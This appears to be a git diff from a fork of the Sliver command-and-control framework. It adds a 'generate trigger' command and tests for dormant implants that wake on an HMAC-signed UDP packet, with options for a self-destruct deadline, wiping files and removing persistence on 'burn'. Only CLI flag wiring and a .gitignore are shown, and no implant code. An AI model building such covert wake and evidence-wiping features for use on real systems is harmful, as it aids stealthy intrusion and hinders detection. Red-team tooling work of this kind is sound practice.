feat: Trigger C2 — authenticated UDP wake + ad-hoc exec for dormant implants

.gitignore

@@ -1,62 +1,226 @@
-/crush
-
-/examples
-
-/.vscode
-/.vscode/*
-/.devcontainer
-/.idea
-
-/artifacts
-/artifacts/**
-
-*.rc
-
-/Dockerfile.*
-/*.sdk.tar.xz
-
-/release-*
-
-# Diffs
+.fsm/
+__pycache__/
+tools/__pycache__/
+# Environment / secrets
+.env
+.env.*
+!.env.example
+!.env.template
+*.key
+*.pem
+*.p12
+*.pfx
+*.crt
+*.cer
+*.csr
+*.jks
+*.keystore
+secrets/
+credentials/
+private/
+*.age
+*.sops.yaml
+.git/
+*.obsidian/
+.github
+
+# Local config
+config.local.*
+*.local
+*.local.*
+.local/
+
+# Logs
+*.log
+logs/
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+pnpm-debug.log*
+
+# Runtime / temp
+tmp/
+temp/
+.tmp/
+.cache/
+.cache-*/
+*.tmp
+*.temp
+*.bak
+*.backup
 *.orig
 
-# Binaries
-/sliver-server
-/sliver-server_arm64
-/sliver.exe
-/sliver-server_*
-
-/sliver-client
-/sliver-client_arm64
-/sliver-client.exe
-/sliver-client_*
+# Local lab state (testing/ scripts artifacts: daemon pid, operator cfg, built implants)
+.lab/
 
-sliver-server-linux.zip
-sliver-server-macos.zip
-sliver-server-windows.zip
+# Internal workflow + testing docs — fork-only, not for upstream PR
+workflow.md
+testing.md
 
+# Dependencies
+node_modules/
+vendor/
+bower_components/
 
-# Binaries for programs and plugins
-*.exe
-*.dll
+# Build output
+dist/
+build/
+out/
+target/
+release/
+debug/
+bin/
+obj/
+coverage/
+public/build/
+
+# Test / coverage artifacts
+.coverage
+coverage.xml
+htmlcov/
+.pytest_cache/
+.nyc_output/
+test-results/
+playwright-report/
+cypress/videos/
+cypress/screenshots/
+
+# Package manager caches
+.npm/
+.yarn/cache/
+.yarn/unplugged/
+.yarn/build-state.yml
+.pnpm-store/
+
+# Python
+__pycache__/
+*.py[cod]
+*.pyo
+*.pyd
+.venv/
+venv/
+env/
+ENV/
+pip-wheel-metadata/
+.eggs/
+*.egg-info/
+.mypy_cache/
+.ruff_cache/
+.tox/
+.nox/
+
+# Java / JVM
+*.class
+*.jar
+*.war
+*.ear
+.gradle/
+.mvn/
+hs_err_pid*
+
+# Go
+*.test
+*.out
+go.work.sum
+
+# Rust
+target/
+Cargo.lock
+
+# Usually ignore Cargo.lock only for libraries.
+# For applications, commit Cargo.lock.
+
+# C / C++ / native
+*.o
+*.obj
 *.so
 *.dylib
-
-# Test binary, build with `go test -c`
-/*.test
-/test.py
-
-# Output of the go coverage tool, specifically when used with LiteIDE
-/*.out
-
-# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
-.glide/
-
-.DS_Store
-
-dist/
-.gocache/
-.gomodcache/
+*.dll
+*.exe
+*.a
+*.lib
+*.pdb
+*.dSYM/
+
+# .NET
+[Bb]in/
+[Oo]bj/
+*.user
+*.suo
+*.rsuser
+
+# Terraform / IaC
+.terraform/
+*.tfstate
+*.tfstate.*
+crash.log
+crash.*.log
+override.tf
+override.tf.json
+*_override.tf
+*_override.tf.json
+.terraform.lock.hcl
+
+# Usually commit .terraform.lock.hcl for real infra repos.
+
+# Docker / containers
+.docker/
+docker-compose.override.yml
+
+# Databases / dumps
+*.sqlite
+*.sqlite3
+*.db
+*.dump
+*.sql.gz
+*.bak
+
+# Archives / generated bundles
+*.zip
+*.tar
+*.tar.gz
+*.tgz
+*.rar
+*.7z
+
+# Reports / scans / local recon artifacts
+reports/
+findings/
+screenshots/
+loot/
+burp/
+zap/
+nuclei-output/
+nmap/
+masscan/
+*.pcap
+*.pcapng
+*.har
+
+# Generated docs
+site/
+docs/_build/
+
+# Misc
+*.pid
+*.seed
+*.pid.lock
+
+# AI
+CLAUDE.md
+.claude/
+system.md
+system-prompt.md
+AGENTS.md
 
 # Flag to show that go-assets.sh has been run
 .downloaded_assets
+
+# Local dev workspace
+go.work
+go.work.sum
+
+# Editor swap files
+*.swp
+*.swo
+*~

client/command/generate/commands.go

@@ -61,6 +61,22 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 
 	generateCmd.AddCommand(generateBeaconCmd)
 
+	generateTriggerCmd := &cobra.Command{
+		Use:   consts.TriggerStr,
+		Short: "Generate a trigger-wake implant binary",
+		Long:  help.GetHelpFor([]string{consts.GenerateStr, consts.TriggerStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			GenerateTriggerCmd(cmd, con, args)
+		},
+	}
+
+	// Trigger-wake implants get all the normal implant flags.
+	coreImplantFlags("trigger", generateTriggerCmd)
+	compileImplantFlags("trigger", generateTriggerCmd)
+	coreImplantFlagCompletions(generateTriggerCmd, con)
+
+	generateCmd.AddCommand(generateTriggerCmd)
+
 	generateInfoCmd := &cobra.Command{
 		Use:   consts.CompilerInfoStr,
 		Short: "Get information about the server's compiler",
@@ -348,6 +364,18 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.Bool("include-tcp-pivot", false, "force include tcp-pivot transport")
 		f.Bool("all-protocols", false, "force include all transport protocols")
 
+		// TTL deadman switch + triggerwake passive UDP wake/self-destruct listener.
+		// All optional. Setting --trigger-wake-bind implies IncludeTriggerWake=true.
+		// Setting --ttl > 0 implies TTLEnabled=true. Burn paths apply to both the
+		// TTL-fired and operator-fired self-destruct paths.
+		f.String("ttl", "", "implant self-destruct deadline (Go duration: e.g. 720h for 30 days). Empty = disabled")
+		f.StringSlice("ttl-burn-extra-path", nil, "extra path to wipe on burn (repeatable)")
+		f.StringSlice("ttl-burn-persistence", nil, "persistence artifact to remove on burn (repeatable; systemd unit / launchd plist / registry key)")
+		f.String("trigger-wake-bind", "", "implant-side triggerwake UDP bind address host:port (enables triggerwake)")
+		f.String("trigger-wake-secret-env", "", "name of operator-host env var holding the HMAC secret for triggerwake (preferred; no secret in argv)")
+		f.String("trigger-wake-secret", "", "HMAC secret for triggerwake (direct value; visible in ps — prefer --trigger-wake-secret-env)")
+		f.StringSlice("trigger-wake-allowed-client", nil, "client_id allowed to fire triggerwake tasks (repeatable; empty = any signed client)")
+
 		f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 		f.BoolP("netgo", "q", false, "force the use of netgo")
 		f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable")

client/command/generate/commands_test.go

@@ -22,6 +22,58 @@ func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
 		t.Fatalf("missing %q subcommand", consts.BeaconStr)
 	}
 	assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
+
+	triggerCmd := commandByUse(generateCmd.Commands(), consts.TriggerStr)
+	if triggerCmd == nil {
+		t.Fatalf("missing %q subcommand", consts.TriggerStr)
+	}
+	assertFlagHasDefaultFileCompletion(t, triggerCmd, "save")
+}
+
+func TestGenerateTriggerSubcommandRegistered(t *testing.T) {
+	cmds := Commands(&console.SliverClient{})
+
+	generateCmd := commandByUse(cmds, consts.GenerateStr)
+	if generateCmd == nil {
+		t.Fatalf("missing %q command", consts.GenerateStr)
+	}
+
+	triggerCmd := commandByUse(generateCmd.Commands(), consts.TriggerStr)
+	if triggerCmd == nil {
+		t.Fatalf("missing %q subcommand under %q", consts.TriggerStr, consts.GenerateStr)
+	}
+
+	// Trigger subcommand must have trigger-wake flags from coreImplantFlags.
+	for _, flagName := range []string{
+		"trigger-wake-bind",
+		"trigger-wake-secret-env",
+		"trigger-wake-secret",
+		"trigger-wake-allowed-client",
+		"ttl",
+	} {
+		if triggerCmd.Flags().Lookup(flagName) == nil {
+			t.Errorf("trigger subcommand missing flag %q", flagName)
+		}
+	}
+
+	// Trigger subcommand must have standard implant flags.
+	for _, flagName := range []string{
+		"mtls", "os", "arch", "name", "format", "http", "dns",
+	} {
+		if triggerCmd.Flags().Lookup(flagName) == nil {
+			t.Errorf("trigger subcommand missing standard flag %q", flagName)
+		}
+	}
+
+	// Trigger subcommand must NOT have beacon flags -- trigger implants
+	// always use session mode, never beacon mode.
+	for _, flagName := range []string{
+		"seconds", "jitter", "days", "hours", "minutes",
+	} {
+		if triggerCmd.Flags().Lookup(flagName) != nil {
+			t.Errorf("trigger subcommand should NOT have beacon flag %q", flagName)
+		}
+	}
 }
 
 func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {